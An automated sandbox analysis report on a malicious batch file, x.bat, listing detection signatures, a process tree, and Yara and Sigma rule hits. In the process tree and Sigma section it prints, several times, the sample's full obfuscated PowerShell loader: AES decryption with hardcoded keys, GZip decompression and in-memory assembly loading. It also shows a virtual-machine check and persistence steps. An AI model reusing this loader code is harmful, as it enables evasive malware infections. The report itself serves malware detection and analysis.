Edit tour

Windows Analysis Report
x.bat

Overview

General Information

Sample name:	x.bat
Analysis ID:	1574678
MD5:	3839596a3f33711abce263e7d890b2e9
SHA1:	185a35a99a20422843725342c374ebae76b76fdc
SHA256:	ac0c9ad2975e52b69068d331e25c0f7e1aaa2976651794b1eeadf5a3529bcaf0
Tags:	batuser-lontze7
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

System process connects to network (likely due to code injection or exploit)

.NET source code references suspicious native API functions

AI detected suspicious sample

Contains functionality to compare user and computer (likely to detect sandboxes)

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Deletes itself after installation

Drops executables to the windows directory (C:\Windows) and starts them

Found large BAT file

Hides that the sample has been downloaded from the Internet (zone.identifier)

Hooks files or directories query functions (used to hide files and directories)

Hooks processes query functions (used to hide processes)

Hooks registry keys query functions (used to hide registry keys)

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Installs a global keyboard hook

Installs new ROOT certificates

Machine Learning detection for dropped file

Modifies the context of a thread in another process (thread injection)

Modifies the prolog of user mode functions (user mode inline hooks)

Powershell drops PE file

Protects its processes via BreakOnTermination flag

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Suspicious command line found

Suspicious powershell command line found

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file does not import any functions

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Uncommon Svchost Parent Process

Stores large binary data to the registry

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

cmd.exe (PID: 2084 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\x.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3684 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 5752 cmdline: wmic diskdrive get Model MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

findstr.exe (PID: 1852 cmdline: findstr /i /c:"DADY HARDDISK" /c:"WDS100T2B0A" /c:"QEMU HARDDISK" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

cmd.exe (PID: 3592 cmdline: cmd.exe /c echo function aQLUy($yReKm){ $FiuGL=[System.Security.Cryptography.Aes]::Create(); $FiuGL.Mode=[System.Security.Cryptography.CipherMode]::CBC; $FiuGL.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $FiuGL.Key=[System.Convert]::FromBase64String('Yeb/NAcCgrTp64tTdeVgDdugi9XnGFjFK2NDoLygP24='); $FiuGL.IV=[System.Convert]::FromBase64String('lhLiL9MPOAHIRlkYn9z7VA=='); $exYAh=$FiuGL.CreateDecryptor(); $YgVOo=$exYAh.TransformFinalBlock($yReKm, 0, $yReKm.Length); $exYAh.Dispose(); $FiuGL.Dispose(); $YgVOo;}function mFHoz($yReKm){ Invoke-Expression '$HdeTZ=New-Object *S*y*s*t*e*m*.*I*O*.M*em*or*yS*tr*ea*m(,$yReKm);'.Replace('*', ''); Invoke-Expression '$wKYjD=New-Object *S*y*s*t*e*m*.*I*O*.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); Invoke-Expression '$odkuT=New-Object S*y*s*t*e*m*.*I*O*.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($HdeTZ, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $odkuT.CopyTo($wKYjD); $odkuT.Dispose(); $HdeTZ.Dispose(); $wKYjD.Dispose(); $wKYjD.ToArray();}function tnqry($yReKm,$VDCUY){ Invoke-Expression '$KyIng=[*S*y*s*t*e*m*.*R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$yReKm);'.Replace('*', ''); Invoke-Expression '$TcvQt=$KyIng.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); Invoke-Expression '$TcvQt.*I*n*v*o*k*e*($null, $VDCUY);'.Replace('*', '');}$yFDGP = 'C:\Users\user\Desktop\x.bat';$host.UI.RawUI.WindowTitle = $yFDGP;$blPNL=[System.IO.File]::ReadAllText($yFDGP).Split([Environment]::NewLine);foreach ($nqZfK in $blPNL) { if ($nqZfK.StartsWith('tdfVh')) { $ZaBDo=$nqZfK.Substring(5); break; }}$ouiFf=[string[]]$ZaBDo.Split('\');Invoke-Expression '$pcr = mFHoz (aQLUy ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($ouiFf[0].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');Invoke-Expression '$aZk = mFHoz (aQLUy ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($ouiFf[1].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');Invoke-Expression '$fEm = mFHoz (aQLUy ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($ouiFf[2].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');tnqry $pcr $null;tnqry $aZk $null;tnqry $fEm (,[string[]] ('')); MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 3524 cmdline: powershell.exe -WindowStyle Hidden MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dllhost.exe (PID: 5016 cmdline: C:\Windows\System32\dllhost.exe /Processid:{6e38c76f-48eb-487e-9cfd-6176ccb652b5} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

winlogon.exe (PID: 552 cmdline: winlogon.exe MD5: F8B41A1B3E569E7E6F990567F21DCE97)

dllhost.exe (PID: 412 cmdline: C:\Windows\System32\dllhost.exe /Processid:{5004adc4-d516-4ec2-8626-9598e9dad3bc} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

svchost.exe (PID: 2036 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

spoolsv.exe (PID: 1932 cmdline: C:\Windows\System32\spoolsv.exe MD5: 0D4B1E3E4488E9BDC035F23E1F4FE22F)

svchost.exe (PID: 2064 cmdline: C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2152 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

lsass.exe (PID: 628 cmdline: C:\Windows\system32\lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A)

svchost.exe (PID: 920 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dwm.exe (PID: 988 cmdline: "dwm.exe" MD5: 5C27608411832C5B39BA04E33D53536C)

svchost.exe (PID: 364 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 356 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 696 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 592 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1044 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1084 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1200 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1252 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1296 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1316 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1408 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s nsi MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1488 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1496 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1552 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1572 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s FontCache MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1652 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1724 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1824 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1840 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1940 cmdline: C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1948 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1956 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cmd.exe (PID: 6756 cmdline: "C:\Windows\System32\cmd.exe" /C type C:\Users\user\Desktop\x.bat>C:\Windows\$rbx-onimai2\$rbx-CO2.bat MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4088 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Windows\$rbx-onimai2\$rbx-CO2.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 6996 cmdline: wmic diskdrive get Model MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

findstr.exe (PID: 6072 cmdline: findstr /i /c:"DADY HARDDISK" /c:"WDS100T2B0A" /c:"QEMU HARDDISK" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

cmd.exe (PID: 1368 cmdline: cmd.exe /c echo function aQLUy($yReKm){ $FiuGL=[System.Security.Cryptography.Aes]::Create(); $FiuGL.Mode=[System.Security.Cryptography.CipherMode]::CBC; $FiuGL.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $FiuGL.Key=[System.Convert]::FromBase64String('Yeb/NAcCgrTp64tTdeVgDdugi9XnGFjFK2NDoLygP24='); $FiuGL.IV=[System.Convert]::FromBase64String('lhLiL9MPOAHIRlkYn9z7VA=='); $exYAh=$FiuGL.CreateDecryptor(); $YgVOo=$exYAh.TransformFinalBlock($yReKm, 0, $yReKm.Length); $exYAh.Dispose(); $FiuGL.Dispose(); $YgVOo;}function mFHoz($yReKm){ Invoke-Expression '$HdeTZ=New-Object *S*y*s*t*e*m*.*I*O*.M*em*or*yS*tr*ea*m(,$yReKm);'.Replace('*', ''); Invoke-Expression '$wKYjD=New-Object *S*y*s*t*e*m*.*I*O*.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); Invoke-Expression '$odkuT=New-Object S*y*s*t*e*m*.*I*O*.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($HdeTZ, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $odkuT.CopyTo($wKYjD); $odkuT.Dispose(); $HdeTZ.Dispose(); $wKYjD.Dispose(); $wKYjD.ToArray();}function tnqry($yReKm,$VDCUY){ Invoke-Expression '$KyIng=[*S*y*s*t*e*m*.*R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$yReKm);'.Replace('*', ''); Invoke-Expression '$TcvQt=$KyIng.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); Invoke-Expression '$TcvQt.*I*n*v*o*k*e*($null, $VDCUY);'.Replace('*', '');}$yFDGP = 'C:\Windows\$rbx-onimai2\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $yFDGP;$blPNL=[System.IO.File]::ReadAllText($yFDGP).Split([Environment]::NewLine);foreach ($nqZfK in $blPNL) { if ($nqZfK.StartsWith('tdfVh')) { $ZaBDo=$nqZfK.Substring(5); break; }}$ouiFf=[string[]]$ZaBDo.Split('\');Invoke-Expression '$pcr = mFHoz (aQLUy ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($ouiFf[0].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');Invoke-Expression '$aZk = mFHoz (aQLUy ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($ouiFf[1].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');Invoke-Expression '$fEm = mFHoz (aQLUy ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($ouiFf[2].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');tnqry $pcr $null;tnqry $aZk $null;tnqry $fEm (,[string[]] ('')); MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 4544 cmdline: powershell.exe -WindowStyle Hidden MD5: 04029E121A0CFA5991749937DD22A1D9)

schtasks.exe (PID: 6816 cmdline: "C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 3412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

IfMUlU.exe (PID: 6964 cmdline: "C:\Windows\$nya-onimai2\IfMUlU.exe" MD5: B943A57BDF1BBD9C33AB0D33FF885983)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 4544	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x51405:$b2: ::FromBase64String( 0x51463:$b2: ::FromBase64String( 0xc2676:$b2: ::FromBase64String( 0xc305d:$b2: ::FromBase64String( 0xe5675:$b2: ::FromBase64String( 0xfc3b:$s1: -join 0x1205a:$s1: -join 0x4b9fe:$s1: -join 0x506e9:$s3: Reverse 0xcad49:$s3: Reverse 0xbe99:$s4: += 0xbeb8:$s4: += 0xbef3:$s4: += 0xbf10:$s4: += 0xbf4b:$s4: += 0xbfb7:$s4: += 0xc043:$s4: += 0xc151:$s4: += 0xde84:$s4: += 0xdea7:$s4: += 0x13316:$s4: +=

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: cmd.exe /c echo function aQLUy($yReKm){ $FiuGL=[System.Security.Cryptography.Aes]::Create(); $FiuGL.Mode=[System.Security.Cryptography.CipherMode]::CBC; $FiuGL.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $FiuGL.Key=[System.Convert]::FromBase64String('Yeb/NAcCgrTp64tTdeVgDdugi9XnGFjFK2NDoLygP24='); $FiuGL.IV=[System.Convert]::FromBase64String('lhLiL9MPOAHIRlkYn9z7VA=='); $exYAh=$FiuGL.CreateDecryptor(); $YgVOo=$exYAh.TransformFinalBlock($yReKm, 0, $yReKm.Length); $exYAh.Dispose(); $FiuGL.Dispose(); $YgVOo;}function mFHoz($yReKm){ Invoke-Expression '$HdeTZ=New-Object *S*y*s*t*e*m*.*I*O*.M*em*or*yS*tr*ea*m(,$yReKm);'.Replace('*', ''); Invoke-Expression '$wKYjD=New-Object *S*y*s*t*e*m*.*I*O*.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); Invoke-Expression '$odkuT=New-Object S*y*s*t*e*m*.*I*O*.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($HdeTZ, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $odkuT.CopyTo($wKYjD); $odkuT.Dispose(); $HdeTZ.Dispose(); $wKYjD.Dispose(); $wKYjD.ToArray();}function tnqry($yReKm,$VDCUY){ Invoke-Expression '$KyIng=[*S*y*s*t*e*m*.*R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$yReKm);'.Replace('*', ''); Invoke-Expression '$TcvQt=$KyIng.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); Invoke-Expression '$TcvQt.*I*n*v*o*k*e*($null, $VDCUY);'.Replace('*', '');}$yFDGP = 'C:\Users\user\Desktop\x.bat';$host.UI.RawUI.WindowTitle = $yFDGP;$blPNL=[System.IO.File]::ReadAllText($yFDGP).Split([Environment]::NewLine);foreach ($nqZfK in $blPNL) { if ($nqZfK.StartsWith('tdfVh')) { $ZaBDo=$nqZfK.Substring(5); break; }}$ouiFf=[string[]]$ZaBDo.Split('\');Invoke-Expression '$pcr = mFHoz (aQLUy ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($ouiFf[0].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');Invoke-Expression '$aZk = mFHoz (aQLUy ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($ouiFf[1].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');Invoke-Expression '$fEm = mFHoz (aQLUy ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($ouiFf[2].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');tnqry $pcr $null;tnqry $aZk $null;tnqry $fEm (,[string[]] ('')); , CommandLine: cmd.exe /c echo function aQLUy($yReKm){ $FiuGL=[System.Security.Cryptography.Aes]::Create(); $FiuGL.Mode=[System.Security.Cryptography.CipherMode]::CBC; $FiuGL.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $FiuGL.Key=[System.Convert]::FromBase64String('Yeb/NAcCgrTp64tTdeVgDdugi9XnGFjFK2NDoLygP24='); $FiuGL.IV=[System.Convert]::FromBase64String('lhLiL9MPOAHIRlkYn9z7VA=='); $exYAh=$FiuGL.CreateDecryptor(); $YgVOo=$exYAh.TransformFinalBlock($yReKm, 0, $yReKm.Length); $exYAh.Dispose(); $FiuGL.Dispose(); $YgVOo;}function mFHoz($yReKm){ Invoke-Expression '$HdeTZ=New-Object *S*y*s*t*e*m*.*I*O*.M*em*or*yS*tr*ea*m(,$yReKm);'.Replace('*', ''); Invoke-Expression '$wKYjD=New-Object *S*y*s*t*e*m*.*I*O*.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); Invoke-Expression '$odkuT=New-Object S*y*s*t*e*m*.

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F, CommandLine: "C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F, CommandLine|base64offset|contains: 7z, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: powershell.exe -WindowStyle Hidden, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 4544, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F, ProcessId: 6816, ProcessName: schtasks.exe

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 4544, TargetFilename: C:\Windows\$nya-onimai2\IfMUlU.exe

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\Windows\System32\dllhost.exe /Processid:{6e38c76f-48eb-487e-9cfd-6176ccb652b5}, ParentImage: C:\Windows\System32\dllhost.exe, ParentProcessId: 5016, ParentProcessName: dllhost.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, ProcessId: 920, ProcessName: svchost.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -WindowStyle Hidden, CommandLine: powershell.exe -WindowStyle Hidden, CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\x.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2084, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden, ProcessId: 3524, ProcessName: powershell.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 96.6% probability

Machine Learning detection for dropped file

Source: C:\Windows\$nya-onimai2\IfMUlU.exe

Joe Sandbox ML: detected

Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 00000019.00000000.2095214528.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000002.2283406583.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\wctAB5F.tmp.pdb source: svchost.exe, 00000019.00000002.2281104121.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000000.2095161886.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: (@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000019.00000002.2278957605.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000000.2095093033.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: svchost.exe, 00000019.00000002.2281104121.000001ADEC04C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000000.2095161886.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: svchost.exe, 00000019.00000002.2281104121.000001ADEC04C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000000.2095161886.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000019.00000002.2278957605.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 00000019.00000002.2278957605.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2.pdbr source: svchost.exe, 00000019.00000002.2281104121.000001ADEC04C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000000.2095161886.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000019.00000000.2095214528.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000002.2283406583.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDB source: svchost.exe, 00000019.00000002.2281104121.000001ADEC04C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000000.2095161886.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: *@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 00000019.00000000.2095214528.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000002.2283406583.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 00000019.00000002.2278957605.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000000.2095093033.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\wct3D66.tmp.pdb source: svchost.exe, 00000019.00000000.2095214528.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000002.2283406583.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000019.00000002.2281104121.000001ADEC04C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000000.2095161886.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
